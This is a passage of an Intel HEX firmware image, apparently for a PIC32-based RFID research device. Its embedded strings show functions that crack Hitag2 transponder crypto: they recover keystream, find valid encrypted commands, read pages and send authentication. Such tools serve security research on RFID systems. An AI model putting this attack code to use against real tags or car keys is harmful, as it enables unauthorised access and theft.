:106158002000a0af218840002d0002246a002212ee
:1061680000a0023c2120200221284002c552410ff4
:1061780021306002ff00032470004310c472858e32
:1061880030000224000122120000000021f000006b
:106198007118410bff001524694f410fc472848e9a
:1061a800218840002120400021284002c552410f8b
:1061b800213060020b0055102120200202f0d2731a
:1061c8002120200221284002c552410f21306002bf
:1061d800ffff10262084107cefff001621f0c20379
:1061e8002120200221284002c552410f213060029f
:1061f800ff00042411014410c472858e23101e0070
:106208002000a38f0bf04300b7ffe0161000b18ffa
:106218001c00a38f01006224ff0042301c00a2afc3
:10622800040002241800a38f040062100200022454
:106238001800a38f050162105800a38f5800a38f80
:106248000000628c040063245800a3af00005eac19
:106258003d18410b2128200201003282020003244c
:106268001800a3af1000b18fff0052327900422e00
:106278000100232618ff40141000a3af2110d202fa
:106288000000429004004230dc0040100000000092
:10629800ef52410f21202002010032822084027c2b
:1062a800059d043ca13c8424211044020000429036
:1062b8000400423003ff40101000b18f0100312666
:1062c800000032822110d2020000429004004230c5
:1062d800fbff405401003126b417410bff00523236
:1062e8007b56410f0a001224c472848e694f410ff5
:1062f8002000a0af218840002d0002249aff22161a
:106308002120200200a0023cc472448c0100032416
:10631800694f410f2000a3af2188400021202002af
:1063280021284002c552410f21306002ff0003249a
:1063380094ff431430000224c472858e7555410fb2
:10634800212020021c00a38f9c00601000a0023caa
:10635800211060004c00bf8f4800be8f4400b78feb
:106368004000b68f3c00b58f3800b48f3400b38f2f
:106378003000b28f2c00b18f2800b08f0800e003e6
:106388005000bd277600e0121c00a38fffff1124e8
:10639800694f410fc472848e9e0051101c00a38f58
:1063a8000500e016ffff10261400a38f000062a06e
:1063b800010063241400a3af2084107cf4ff001ea6
:1063c800000000001000b18f3d18410b2128200269
:1063d800100012245218410b010013241800a38f37
:1063e800a0ff751001003282080003241800a3af33
:1063f800b317410b1000b18f0100f726010032825c
:10640800ff00f732b317410b1000b18f1c00a38fa8
:10641800d0ff601421106000c472828e0c00429478
:106428000001427c231002004c00bf8f4800be8f41
:106438004400b78f4000b68f3c00b58f3800b48f4a
:106448003400b38f3000b28f2c00b18f2800b08f8a
:106458000800e0035000bd27100012245218410b19
:10646800219800007b56410f000000002d00e0122b
:106478005800a38f694f410fc472848effff032415
:10648800330043501c00a28f140040140100432421
:106498004119410b1000b18f72006210000000001a
:1064a8000500e016ffff10261400a38f000062a06d
:1064b800010063241400a3af2084107c0f00005255
:1064c8001000b18f694f410fc472848e01004324bc
:1064d8000200642c090080541000b18f059d043c13
:1064e800a03c842421188300000063808800633066
:1064f800e9ff6050010023821000b18ffbfee056d7
:10650800212820021c00a38f01006224ff004230d2
:106518001c00a2af1400a38f000060a03d18410b1f
:10652800212820020000638c1400a3af5800a38f19
:10653800040063245800a3af694f410fc472848ece
:10654800ffff0324d0ff4314000000001c00a28fab
:1065580080ff4050ffff0224d818410b4c00bf8f2a
:10656800010062245800a38f0000638c1400a3afbd
:10657800ff0042301c00a2af5800a38f0400632420
:10658800e518410b5800a3af694f410fc472848ec0
:1065980078000324230043105800032423004314e5
:1065a800c472858e2100601200000000694f410fff
:1065b800c472848e6518410b21884000c472428cd5
:1065c8000c0042940001427c231002004c00bf8f53
:1065d8004800be8f4400b78f4000b68f3c00b58f8f
:1065e8003800b48f3400b38f3000b28f2c00b18fd5
:1065f8002800b08f0800e0035000bd27694f410f05
:10660800c472848e6fff4212ffff032419004314e3
:106618001c00a38f4fff605421106000d718410b56
:10662800ffff0224e1ff6012c472858e7555410f89
:10663800212040006618410b21f000007555410fdc
:10664800212020028218410b23101e000000628cba
:10665800040063245800a3af00005ea43d18410b5a
:1066680021282002a0fee016020031264419410b21
:106678001c00a38f00a0033cc472658c7555410fa4
:0c66880021204000d718410b1c00a28ffd
:020000040000fa
:020000041d04d9
:10669400f8ffbd270400beaf21f0a0030800c4af7b
:1066a4000800c38faaaa023cabaa423419006200b4
:1066b4001010000042100200ffff03342318620090
:1066c40080bf023c100643ac80bf033c00066294ca
:1066d40001000424c47b827c000662a40000000044
:1066e4007c80828ffeff4010000000007c8080af21
:1066f40021e8c0030400be8f0800bd270800e003a2
:1067040000000000e8ffbd271400bfaf1000beafbb
:1067140021f0a0031800c4afcc19410b0000000005
:10672400e8030424a519410f000000001800c28fdb
:10673400ffff43241800c3aff9ff4014000000001a
:1067440021e8c0031400bf8f1000be8f1800bd27be
:106754000800e00300000000e0ffbd271c00bfaffd
:106764001800beaf21f0a003211080002000c2a3b6
:106774000c1a410b1000c0a380bf033c1060628c54
:106784000463027c106062ac80bf033c1060628cc6
:10679400010004248452827c106062ac2000c39304
:1067a40080bf023ced19410b206043ac4000000067
:1067b40080bf023c1060428c00014230fbff40105d
:1067c4000000000080bf033c1060628c8452027c95
:1067d400106062ac80bf033c00606294c47b027ca6
:1067e400006062a488bf023c5061428c04004230c5
:1067f4000300401000000000101a410b00000000cc
:1068040068818297a519410f2120400080bf033c75
:106814000060629401000424c47b827c006062a452
:106824001000c293010042241000c2a31000c293be
:106834000500422cd0ff40140000000080bf033c40
:106844000060629401000424c47b827c006062a422
:1068540080bf033c1060628c010004240463827cca
:10686400106062ac80bf033c1060628c4408027c00
:10687400106062ac80bf023c1060428c0100423068
:10688400060040100000000080bf023c3060428cd3
:106894001200c2a71e1a410b0000000000000000f5
:1068a40021e8c0031c00bf8f1800be8f0800e0035e
:1068b4002000bd27e0ffbd271c00bfaf1800beaffe
:1068c40021f0a0032000c4af2110a0002400c2a71f
:1068d4002400c3976a818297180062001210000096
:1068e4001000c2af010002247c8082af1600c0a356
:1068f400a11a410b00000000681a410b00000000bf
:106904007c80828f25004010000000007c8080afd6
:106914001000c28f1e004010000000001000c38f42
:106924000100023c2b10620009004014000000002a
:106934001400c0a71000c38fffff023c01004234c3
:10694400211062001000c2af581a410b0000000071
:106954001000c28f1400c2a71000c0af1400c29769
:10696400ffff0334231062002118400080bf023c63
:10697400100643ac80bf033c00066294010004246b
:10698400c47b827c000662a4681a410b00000000ec
:1069940021100000a61a410b0000000080bf023c39
:1069a4001060428c01004230d5ff4010000000000e
:1069b40080bf033c00066294c47b027c000662a490
:1069c4007c8080af80bf023c1060428c0800423063
:1069d400230040100000000088bf033c4061629423
:1069e4000442027c406162a480bf033c0060629464
:1069f400010004240421827c006062a480bf023c64
:106a04003060428cff0043302000c28f000043a05e
:106a14006881829742100200ffff4230212040002b
:106a2400a519410f0000000088bf033c4061629437
:106a3400010004240442827c406162a480bf033cc0
:106a4400006062940421027c006062a41600c29378
:106a5400010042241600c2a3a11a410b0000000049
:106a640080bf023c3060428cff0043302000c28f64
:106a7400000043a001000224a61a410b00000000fc
:106a84001600c2930500422c9bff40140000000036
:106a94002110000021e8c0031c00bf8f1800be8f26
:106aa4002000bd270800e00300000000f8ffbd2718
:106ab4000400beaf21f0a0036481828f3101033c46
:106ac400002d63341b006200f4014000101000002c
:106ad40012100000ffff432480bf023c406043ac1f
:106ae4006481828f0f00033c404263341b006200c8
:106af400f40140001010000012100000ffff4230ab
:106b0400688182a768818397aaaa023cabaa42340f
:106b1400190062001010000042100200ffff423012
:106b24006a8182a721e8c0030400be8f0800bd2744
:106b34000800e00300000000f8ffbd270400beaf1a
:106b440021f0a00380bf033c00606294c47b027cfc
:106b5400006062a480bf033c1060628c4408027c25
:106b6400106062ac21e8c0030400be8f0800bd279a
:106b74000800e00300000000e0ffbd271c00bfafd9
:106b84001800beaf21f0a003010002241000c2af20
:106b940088bf033c40606294444a027c406062a423
:106ba40088bf033c006162940442027c006162a4d9
:106bb40088bf033c606162940442027c606162a409
:106bc40088bf033c40616294010004240442827c37
:106bd400406162a488bf033c6060629401000424a5
:106be400444a827c606062a488bf033c2061629452
:106bf4000442027c206162a480bf023c100840acc5
:106c040080bf023c000840ac80bf023c1300032458
:106c1400200843ac80bf023c0a000324103243ac7a
:106c240080bf023c0a000324203243ac88bf033ceb
:106c3400c06062944408027cc06062a480bf023ccd
:106c440006000324003243ac1400c0a3191b410bfb
:106c5400000000001000c28f401002001000c2affc
:106c64001400c293ffff43241400c3a3f9ff40148c
:106c74000000000080bf023c2008428cff0042302c
:106c8400211840001000c28f21106200c404033c8c
:106c940000b463341b006200f401400010100000d3
:106ca400121000006c8182af6c81838f2cb0023c87
:106cb400030b42341900620010100000021202009b
:106cc400648182af6481828f0f00033c404263344d
:106cd4001b006200f40140001010000012100000bc
:106ce400ffff4230688182a768818397aaaa023c89
:106cf400abaa4234190062001010000042100200d6
:106d0400ffff42306a8182a76481828f3101033c94
:106d1400002d63341b006200f401400010100000d9
:106d240012100000ffff432480bf023c406043accc
:106d340080bf033c1060628c010004240463827ce5
:106d4400106062ac80bf033c0060629401000424c4
:106d54004410827c006062a480bf033c00606294a3
:106d64000400027c006062a480bf033c0060629463
:106d740001000424c418827c006062a488bf033c20
:106d8400a010628c030004248420827ca01062acd6
:106d940088bf033ca010628c010004240408827c98
:106da400a01062ac88bf033c3010628c0421027cca
:106db400301062ac80bf023c30000324000643acb8
:106dc40080bf023cffff0334200643ac88bf033c72
:106dd4006010628c010004240421827c601062ac87
:106de400212000006058410f00000000c359410fea
:106df4000000000021e8c0031c00bf8f1800be8ff4
:106e04002000bd270800e0030000000000e85d4109
:106e140000701a4000601b40e8ffbd271400baafa1
:106e24001000bbaf44781b7c000c7b3700609b4098
:106e34000c00beaf0800a3af0400a2af21f0a00372
:106e440088bf033c3010628c0421027c301062ac99
:106e540080bf033c00066294c47b027c000662a4eb
:106e6400010002247c8082af21e8c0030c00be8fa5
:106e74000800a38f0400a28f00606041c0000000de
:106e84001400ba8f1000bb8f00709a401800bd2701
:106e940000e8dd4100609b4018000042e8ffbd2788
:106ea4001400bfaf1000beaf21f0a0031800c4afa0
:106eb4001800c48f1fff400f0000000021e8c0032a
:106ec4001400bf8f1000be8f1800bd270800e00318
:106ed4000000000068ffbd279400bfaf9000beaf64
:106ee40021f0a0039800c4af9c00c5af1000c227d6
:106ef400212040009c00c58fd31b410f00000000df
:106f0400040040140000000021100000cd1b410bc0
:106f1400000000009800c48f1000c2272128400000
:106f24008000062447b9400f00000000010002243d
:106f340021e8c0039400bf8f9000be8f9800bd2746
:106f44000800e0030000000078ffbd278400bfaf05
:106f54008000beaf7c00b0af21f0a0038800c4afb6
:106f64008c00c5af2c00c22721204000212800003e
:106f7400400006247152410f000000008c00c28fb3
:106f84000000439041000224050062140000000048
:106f9400010002242c00c2a3f11b410b00000000dd
:106fa4008c00c28f00004390300002240400621061
:106fb4000000000021100000921c410b00000000a2
:106fc4008c00c28f0100422400004390440002243c
:106fd4000500621400000000010002243b00c2a36b
:106fe400041c410b000000008c00c28f01004224ed
:106ff40000004390300002240400621000000000ee
:1070040021100000921c410b000000008c00c28f74
:1070140002004224212040000400052480b5400fd2
:10702400000000001c00c2af2c00c2271000422444
:10703400212040001c00c58f0a00062430b6400ff2
:10704400000000008c00c28f060042242120400072
:107054000c000524aeb5400f000000002000c2afb4
:107064002400c3af2c00c2271a00422426000324a4
:107074001000a3af212040002000c68f2400c78f3a
:1070840068b6400f000000002c00c22721204000f9
:10709400400005248fbc400f000000008800c48f0e
:1070a400212800000a0006247152410f000000004c
:1070b4008800c28f0a0042242120400001000524d8
:1070c400760006247152410f000000001800c0a38e
:1070d4004a1c410b000000001800c39321106000fb
:1070e400c0100200211043000b0042248800c38f0b
:1070f400211862001800c293c01002002c00c4279b
:10710400211082002120600021284000080006246c
:10711400214b410f000000001800c29301004224db
:107124001800c2a31800c2930800422ceaff4014be
:10713400000000001800c0a3611c410b0000000007
:107144001800d0931800c293c01002002c00c3276b
:1071540021106200212040000800052411b6400fd0
:1071640000000000ff0043301800c2272110500027
:10717400540043a01800c293010042241800c2a383
:107184001800c2930800422cedff401400000000d8
:107194006c00c227212040000800052484bd400f54
:1071a400000000002800c2af8800c28f53004324af
:1071b4002800c28f02120200212060002128400012
:1071c4000800062430b6400f000000008800c28f7b
:1071d4005c004224212040002800c58f08000624ba
:1071e40030b6400f000000001800c0a38d1c410bf6
:1071f400000000001800c39321106000c0100200ba
:1072040021104300650042248800c38f21106200ce
:107214002120400021280000080006247152410f5b
:10722400000000001800c293010042241800c2a309
:107234001800c2930300422ceeff4014000000002b
:107244000100022421e8c0038400bf8f8000be8fa8
:107254007c00b08f8800bd270800e0030000000018
:1072640058ffbd27a400bfafa000beaf21f0a0030c
:10727400a800c4afac00c5af2000c2272120400045
:10728400ac00c58fee1c410f000000000400401448
:107294000000000021100000e81c410b0000000069
:1072a4002000c22721204000400005248fbc400f4d
:1072b400000000002000c2930600401000000000ff
:1072c400a800c28f41000324000043a0b91c410b55
:1072d40000000000a800c28f30000324000043a077
:1072e4002f00c2930700401000000000a800c28fc6
:1072f4000100422444000324000043a0c61c410ba7
:1073040000000000a800c28f0100422430000324c2
:10731400000043a02000c227100042242120400086
:107324000a00052411b6400f000000001000c2af8f
:10733400a800c28f0200422421204000059d023c87
:10734400e06645241000c68fe455410f000000009c
:107354002000c2271a0042242120400026000524d0
:10736400f4b6400f000000001800c2afc3170200bb
:107374001c00c2afa800c28f060042242120400096
:10738400059d023ce86645241800c68f1c00c78f83
:10739400e455410f000000000100022421e8c0036d
:1073a400a400bf8fa000be8fa800bd270800e00383
:1073b4000000000040ffbd27bc00bfafb800beaf57
:1073c400b400b0af21f0a003c000c4afc400c5af87
:1073d4002000c0a32100c0a32200c0a32300c0a397
:1073e4002400c0a32500c0a32600c0a32700c0a377
:1073f400010002242800c2a32c00c227212040003f
:10740400c400c58fcbb8400f000000001000c0a31b
:10741400131d410b000000001000c2931000c3278d
:10742400211062001c004290040040100000000083
:10743400211000009a1d410b000000001000c293af
:10744400010042241000c2a31000c2930a00422c7f
:10745400f1ff4014000000003600c3930100022431
:107464000400621000000000211000009a1d410b6e
:10747400000000001000c0a3341d410b00000000f8
:107484001000d0931000c39321106000c0100200bc
:10749400211043000b0042242c00c327211062005a
:1074a400212040000800052411b6400f0000000010
:1074b400ff0043301000c22721105000080043a0f1
:1074c4001000c293010042241000c2a31000c29312
:1074d4000800422ceaff4014000000002c00c227e0
:1074e40053004224212040000800052411b6400f17
:1074f40000000000001202001400c2af2c00c227da
:107504005c004224212040000800052411b6400fed
:10751400000000001400c38f211062001400c2afe9
:107524001800c227212040000800052484bd400f14
:1075340000000000211840001400c28f04006210f3
:1075440000000000211000009a1d410b0000000003
:107554001000c0a36d1d410b000000001000c39378
:1075640021106000c0100200211043006500422475
:107574002c00c327211862002000c22721206000ac
:1075840021284000090006240954410f000000008e
:107594000400401000000000211000009a1d410b5f
:1075a400000000001000c293010042241000c2a396
:1075b4001000c2930300422ce8ff401400000000b6
:1075c4001000c0a3951d410b000000001000c293e1
:1075d4000100432421106000c01002002110430068
:1075e4000a0042241000c327211062001c004390ab
:1075f40001000224040062100000000021100000b9
:107604009a1d410b000000001000c293c01002003c
:10761400c000c38f212062001000c39321106000ba
:10762400c0100200211043000b0042242c00c32789
:10763400211062002128400008000624214b410f3c
:10764400000000001000c293010042241000c2a3f5
:107654001000c2930800422cdcff4014000000001c
:107664000100022421e8c003bc00bf8fb800be8f14
:10767400b400b08fc000bd270800e0030000000084
:1076840088ffbd277400beaf21f0a0037800c4af0b
:107694002110000021e8c0037400be8f7800bd27cc
:1076a4000800e0030000000068ffbd279400bfaf9e
:1076b4009000beaf21f0a0039800c4af9c00c5affa
:1076c4001000c227212040009c00c58fd31b410f0e
:1076d400000000000400401400000000211000001d
:1076e400c21d410b000000009800c48f1000c22787
:1076f400212840008000062447b9400f0000000004
:107704000100022421e8c0039400bf8f9000be8fc3
:107714009800bd270800e0030000000078ffbd27a3
:107724008400bfaf8000beaf7c00b0af21f0a003e7
:107734008800c4af8c00c5af2c00c22721204000b4
:1077440021280000400006247152410f000000006f
:107754008c00c28f00004390410002240500621493
:1077640000000000010002242c00c2a3e61d410b0e
:10777400000000008c00c28f0000439030000224ff
:10778400040062100000000021100000871e410b5d
:10779400000000008c00c28f0100422400004390ce
:1077a40044000224050062140000000001000224c9
:1077b4003b00c2a3f91d410b000000008c00c28fe6
:1077c40001004224000043903000022404006210af
:1077d4000000000021100000871e410b0000000083
:1077e4008c00c28f020042242120400004000524a2
:1077f40080b5400f000000001c00c2af2c00c2275f
:1078040010004224212040001c00c58f0a000624d9
:1078140030b6400f000000008c00c28f06004224e6
:10782400212040000c000524aeb5400f00000000ec
:107834002000c2af2400c3af2c00c2271a00422488
:10784400260003241000a3af212040002000c68f8f
:107854002400c78f68b6400f000000002c00c22728
:1078640021204000400005248fbc400f0000000090
:107874008800c48f212800000a0006247152410f99
:10788400000000008800c28f0a004224212040002a
:1078940001000524760006247152410f0000000007
:1078a4001800c0a33f1e410b000000001800c39342
:1078b40021106000c0100200211043000b0042247c
:1078c4008800c38f211862001800c293c010020000
:1078d4002c00c427211082002120600021284000b0
:1078e40008000624214b410f000000001800c29339
:1078f400010042241800c2a31800c2930800422cbd
:10790400eaff4014000000001800c0a3561e410bfb
:10791400000000001800d0931800c293c0100200a9
:107924002c00c327211062002120400008000524f8
:1079340011b6400f00000000ff0043301800c227ba
:1079440021105000540043a01800c29301004224a7
:107954001800c2a31800c2930800422cedff401483
:10796400000000006c00c22721204000080005240c
:1079740084bd400f000000002800c2af8800c28f01
:10798400530043242800c28f021202002120600009
:10799400212840000800062430b6400f00000000f3
:1079a4008800c28f5c004224212040002800c58f3b
:1079b4000800062430b6400f000000001800c0a3e1
:1079c400821e410b000000001800c39321106000c8
:1079d400c010020021104300650042248800c38fb8
:1079e4002110620021204000212800000800062404
:1079f4007152410f000000001800c293010042249c
:107a04001800c2a31800c2930300422ceeff4014d6
:107a1400000000000100022421e8c0038400bf8f9d
:107a24008000be8f7c00b08f8800bd270800e00373
:107a34000000000058ffbd27a400bfafa000beafe8
:107a440021f0a003a800c4afac00c5af2000c2273a
:107a540021204000ac00c58fee1c410f0000000047
:107a6400040040140000000021100000dd1e410b42
:107a7400000000002000c22721204000400005240f
:107a84008fbc400f000000002000c293060040108d
:107a940000000000a800c28f41000324000043a09e
:107aa400ae1e410b00000000a800c28f300003246a
:107ab400000043a02f00c293070040100000000004
:107ac400a800c28f0100422444000324000043a004
:107ad400bb1e410b00000000a800c28f010042241d
:107ae40030000324000043a02000c22710004224d9
:107af400212040000a00052411b6400f00000000b8
:107b04001000c2afa800c28f02004224212040000e
:107b1400059d023cf06645241000c68fe455410fd4
:107b2400000000002000c2271a0042242120400047
:107b340026000524f4b6400f000000001800c2af70
:107b4400c31702001c00c2afa800c28f0600422463
:107b540021204000059d023cf86645241800c68f8c
:107b64001c00c78fe455410f0000000001000224ef
:107b740021e8c003a400bf8fa000be8fa800bd27ca
:107b84000800e0030000000040ffbd27bc00bfafb9
:107b9400b800beafb400b0af21f0a003c000c4afc2
:107ba400c400c5af2000c0a32100c0a32200c0a30d
:107bb4002300c0a32400c0a32500c0a32600c0a3a3
:107bc4002700c0a3010002242800c2a32c00c2275e
:107bd40021204000c400c58fcbb8400f0000000036
:107be4001000c0a3081f410b000000001000c29346
:107bf4001000c327211062001c00429004004010b2
:107c040000000000211000008f1f410b0000000045
:107c14001000c293010042241000c2a31000c293ba
:107c24000a00422cf1ff4014000000003600c39308
:107c34000100022404006210000000002110000072
:107c44008f1f410b000000001000c0a3291f410b2f
:107c5400000000001000d0931000c39321106000b6
:107c6400c0100200211043000b0042242c00c32743
:107c740021106200212040000800052411b6400fa5
:107c840000000000ff0043301000c2272110500004
:107c9400080043a01000c293010042241000c2a3b4
:107ca4001000c2930800422ceaff401400000000b8
:107cb4002c00c22753004224212040000800052440
:107cc40011b6400f00000000001202001400c2af01
:107cd4002c00c2275c004224212040000800052417
:107ce40011b6400f000000001400c38f2110620081
:107cf4001400c2af1800c227212040000800052448
:107d040084bd400f00000000211840001400c28f01
:107d14000400621000000000211000008f1f410bbe
:107d2400000000001000c0a3621f410b000000000f
:107d34001000c39321106000c01002002110430002
:107d4400650042242c00c327211862002000c227aa
:107d54002120600021284000090006240954410f15
:107d6400000000000400401000000000211000008a
:107d74008f1f410b000000001000c2930100422439
:107d84001000c2a31000c2930300422ce8ff401469
:107d9400000000001000c0a38a1f410b0000000077
:107da4001000c2930100432421106000c01002009f
:107db400211043000a0042241000c327211062004e
:107dc4001c00439001000224040062100000000023
:107dd400211000008f1f410b000000001000c2930f
:107de400c0100200c000c38f212062001000c393a2
:107df40021106000c0100200211043000b00422437
:107e04002c00c3272110620021284000080006240a
:107e1400214b410f000000001000c29301004224d6
:107e24001000c2a31000c2930800422cdcff4014cf
:107e3400000000000100022421e8c003bc00bf8f41
:107e4400b800be8fb400b08fc000bd270800e003a7
:047e5400000000002a
:020000040000fa
:020000041d04d9
:107e5800301088bf601088bf01000000301088bf54
:107e6800601088bf02000000301088bf601088bf13
:107e780004000000301088bf601088bf08000000b0
:107e8800301088bf601088bf80000000301088bfa5
:107e9800601088bf00080000301088bf601088bfdd
:107ea80000800000301088bf601088bf0000080004
:107eb800301088bf601088bf10000000301088bfe5
:107ec800601088bf00010000301088bf601088bfb4
:107ed80000100000301088bf601088bf000001004b
:107ee800301088bf601088bf00001000301088bfb5
:107ef800601088bf20000000301088bf601088bf65
:107f080000020000301088bf601088bf0020000009
:107f1800301088bf601088bf00000200301088bf92
:107f2800601088bf00002000401088bf701088bf14
:107f380000000020401088bf701088bf000000407b
:107f4800401088bf701088bf00000080501088bfa4
:107f5800801088bf01000000501088bf801088bfc3
:107f680002000000301088bf601088bf4000000089
:107f7800301088bf601088bf00040000301088bf30
:107f8800601088bf00400000301088bf601088bfb4
:107f980000000400301088bf601088bf0000400057
:107fa800401088bf701088bf01000000301088bfe3
:107fb800601088bf00008003401088bf701088bf21
:107fc800e0000000301088bf601088bf0000001c6f
:107fd800401088bf701088bf00070000301088bfad
:107fe800601088bf00008000401088bf701088bff4
:107ff80020000000301088bf601088bf0000000417
:10800800401088bf701088bf00010000301088bf82
:10801800601088bf00000002401088bf701088bf41
:1080280080000000301088bf601088bf000000107a
:10803800401088bf701088bf00040000301088bf4f
:10804800601088bf00000001401088bf701088bf12
:1080580040000000301088bf601088bf0000000892
:10806800401088bf701088bf00020000301088bf21
:10807800601088bf000000e0401088bf701088bf03
:1080880000380000301088bf601088bf0000001c56
:10809800401088bf701088bfe0000000401088bf03
:1080a800701088bf00070000301088bf601088bfbc
:1080b80000000020401088bf701088bf0008000032
:1080c800301088bf601088bf00000004401088bfcf
:1080d800701088bf20000000401088bf701088bf53
:1080e80000010000301088bf601088bf0000004009
:1080f800401088bf701088bf00100000301088bf83
:10810800601088bf00000008401088bf701088bf4a
:1081180040000000401088bf701088bf00020000b7
:10812800301088bf601088bf00000080401088bff2
:10813800701088bf00200000301088bf601088bf12
:1081480000000010401088bf701088bf8000000039
:10815800401088bf701088bf00040000301088bf2e
:10816800601088bf0000001c401088bf701088bfd6
:1081780000070000401088bf701088bfe0000000b2
:10818800501088bf801088bf38000000501088bf8a
:10819800801088bf000e0000501088bf801088bf74
:1081a800c0010000301088bf601088bf00000004c4
:1081b800401088bf701088bf00010000401088bfc1
:1081c800701088bf20000000501088bf801088bf42
:1081d80008000000501088bf801088bf000200000f
:1081e800501088bf801088bf40000000301088bf42
:1081f800601088bf00000008401088bf701088bf5a
:1082080000020000401088bf701088bf40000000c6
:10821800501088bf801088bf10000000501088bf21
:10822800801088bf00040000501088bf801088bfed
:1082380080000000301088bf601088bf0000001068
:10824800401088bf701088bf00040000401088bf2d
:10825800701088bf80000000501088bf801088bf51
:1082680020000000501088bf801088bf0008000060
:10827800501088bf801088bf00010000401088bfe0
:10828800701088bf02000000401088bf701088bfbf
:1082980004000000501088bf801088bf0400000050
:1082a800401088bf701088bf08000000401088bfc9
:1082b800701088bf10000000401088bf701088bf81
:1082c80000400000401088bf701088bf0000000107
:1082d800401088bf701088bf00800000401088bf21
:1082e800701088bf00000100401088bf701088bf60
:1082f80000000200401088bf701088bf0000040012
:10830800401088bf701088bf00000800401088bf68
:10831800701088bf00001000401088bf701088bf20
:1083280000002000401088bf701088bf0000400087
:10833800401088bf701088bf00008000401088bfc0
:10834800701088bf00000002401088bf701088bffe
:1083580000000004401088bf701088bf00000008ab
:10836800401088bf701088bf00000010901088bfb0
:108378000000000002000000901088bf0800000004
:108388000a000000901088bf1000000012000000d2
:10839800901088bf180000001a000000a01088bfc5
:1083a800180000001a000000b01088bf1800000074
:1083b8001a000000c01088bf180000001a00000052
:1083c800d01088bf180000001a000000a01088bf55
:1083d8000000000002000000b01088bf000000008c
:1083e80002000000c01088bf00000000020000006a
:1083f800d01088bf0000000002000000e01088bf15
:108408000000000002000000a01088bf0800000063
:108418000a000000b01088bf080000000a00000031
:10842800c01088bf080000000a000000d01088bff4
:10843800080000000a000000e01088bf08000000e3
:108448000a000000a01088bf100000001200000001
:10845800b01088bf1000000012000000c01088bfd4
:108468001000000012000000d01088bf10000000ab
:1084780012000000e01088bf100000001200000089
:10848800e01088bf180000001a000000001188bf23
:10849800180000001a000000f01088bf000000005b
:1084a80002000000101188bf000000000200000058
:1084b800f01088bf0000000002000000101188bf03
:1084c8000000000002000000001188bf1800000032
:1084d8001a000000501188bf080000000a000000c0
:1084e800501188bf180000001a000000501188bf02
:1084f8001000000012000000f01088bf0800000003
:108508000a000000101188bf080000000a000000df
:10851800f01088bf0000000002000000001188bfb2
:10852800180000001a000000101188bf00000000a9
:1085380002000000f01088bf1000000012000000c8
:10854800f01088bf180000001a000000001188bf52
:108558000000000002000000001188bf08000000b1
:108568000a000000001188bf10000000120000007f
:10857800101188bf1000000012000000101188bf01
:10858800180000001a000000201188bf0000000039
:1085980002000000201188bf080000000a00000047
:1085a800201188bf1000000012000000201188bfb1
:1085b800180000001a000000301188bf00000000f9
:1085c80002000000301188bf080000000a00000007
:1085d800301188bf1000000012000000301188bf61
:1085e800180000001a000000401188bf00000000b9
:1085f80002000000401188bf080000000a000000c7
:10860800401188bf1000000012000000401188bf10
:10861800180000001a000000501188bf0000000078
:10862800020000000d0a000043616e6e6f7420673f
:108638006574205549440d0a00000000506c6561be
:10864800736520737570706c7920612076616c6930
:1086580064206e5220615220706169720d0a000018
:108668006e52206973206e6f7420333220626974f1
:1086780073206c6f6e670d0a00000000615220695c
:1086880073206e6f742033322062697473206c6fac
:108698006e670d0a0000000043616e6e6f742066fd
:1086a800696e6420612076616c696420656e63720e
:1086b800797074656420636f6d6d616e640d0a0076
:1086c80043616e6e6f742066696e6420656e6372b6
:1086d80079707465642027726561642070616765cc
:1086e800302720636f6d6d616e640d0a0000000015
:1086f8002531643a2025730d0a0000002531643abb
:108708000d0a000046696e64696e672076616c69bf
:108718006420656e6372797074656420636f6d6d33
:10872800616e643a0000000046343032383839430c
:10873800000000002e0000006869746167326372ef
:1087480061636b5f66696e645f76616c69645f65bf
:108758005f636d643a0d0a206e6f2076616c696400
:1087680020656e6372797074656420636f6d6d61e6
:108778006e6420666f756e640d0a000046696e644b
:10878800696e6720277265616420706167652030b3
:108798002720636f6d6d616e643a000068697461cb
:1087a8006732637261636b5f66696e645f655f7091
:1087b800616765305f636d643a0d0a20636f756c9d
:1087c80064206e6f742066696e6420656e637279ca
:1087d8007074656420277265616420706167652024
:1087e800302720636f6d6d616e640d0a0000000014
:1087f80031313030303030313131000068697461e6
:108808006732637261636b5f726561645f70616731
:10881800653a0d0a20696e76616c6964207061673b
:10882800656e756d0d0a0000686974616732637260
:1088380061636b5f726561645f706167653a0d0ab9
:1088480020686974616732637261636b5f73656e18
:10885800645f655f636d642072657475726e6564cc
:10886800204552524f525f524553504f4e53450d7b
:108878000a000000686974616732637261636b5f44
:10888800726561645f706167653a0d0a2068697492
:10889800616732637261636b5f73656e645f655fa6
:1088a800636d64206661696c65640d0a00000000f0
:1088b800686974616732637261636b5f73656e6464
:1088c8005f655f636d643a0d0a2063616e6e6f7455
:1088d80020676574205549440d0a00006869746171
:1088e8006732637261636b5f73656e645f655f6354
:1088f8006d643a0d0a2063616e6e6f74206765744b
:10890800205549442028326e642074696d65290d0c
:108918000a000000686974616732637261636b5fa3
:1089280073656e645f655f636d643a0d0a207478e1
:108938002f7278206e726172206661696c65640db1
:108948000a000000686974616732637261636b5f73
:1089580074785f72783a207277645f73656e64200a
:108968006661696c65640d0a0000000068697461dd
:108978006732637261636b5f74785f72783a206ef6
:108988006f2073796e630d0a000000002f722f6e3e
:10899800666f726d617420697320277368617265f0
:1089a800646b657920554944206e522720696e20f2
:1089b8006865780d0a0000002f722f6e7368617267
:1089c80065646b65792073686f756c6420626520d7
:1089d80034382062697473206c6f6e6720283132d6
:1089e800206865786368617273290d0a00000000c9
:1089f8002f722f6e6e6f205549440d0a000000003b
:108a08002f722f6e5549442073686f756c6420620d
:108a1800652033322062697473206c6f6e6720287a
:108a280038206865786368617273290d0a00000050
:108a38002f722f6e6e522073686f756c642062659a
:108a48002033322062697473206c6f6e6720283877
:108a5800206865786368617273290d0a0000000058
:108a6800537563636573730d0a0000002f722f6ed0
:108a7800686578206d757374206265203332626989
:108a880074732028382068657820636861727329b8
:108a98000d0a00000d0a62696e61727920737472a2
:108aa800696e67206d757374206265203c3d2033c4
:108ab8003220626974730d0a0000000068697461ed
:108ac8006732637261636b5f73656e645f6175744f
:108ad80068206661696c65640d0a000068697461e4
:108ae8006732637261636b5f636f6e73756d655f29
:108af8006b657973747265616d206661696c656414
:108b08000d0a0000686974616732637261636b5fa4
:108b1800657874656e645f6b657973747265616d91
:108b2800206661696c65640d0a0000005265636f18
:108b380076657265642025642062697473206f66a7
:108b4800206b657973747265616d0d0a0000000011
:108b580025730d0a0000000068697461673263724a
:108b680061636b5f73656e645f617574683a0d0a63
:108b78002063616e6e6f7420676574205549440ddb
:108b88000a000000686974616732637261636b5f31
:108b980073656e645f617574683a0d0a2063616e6f
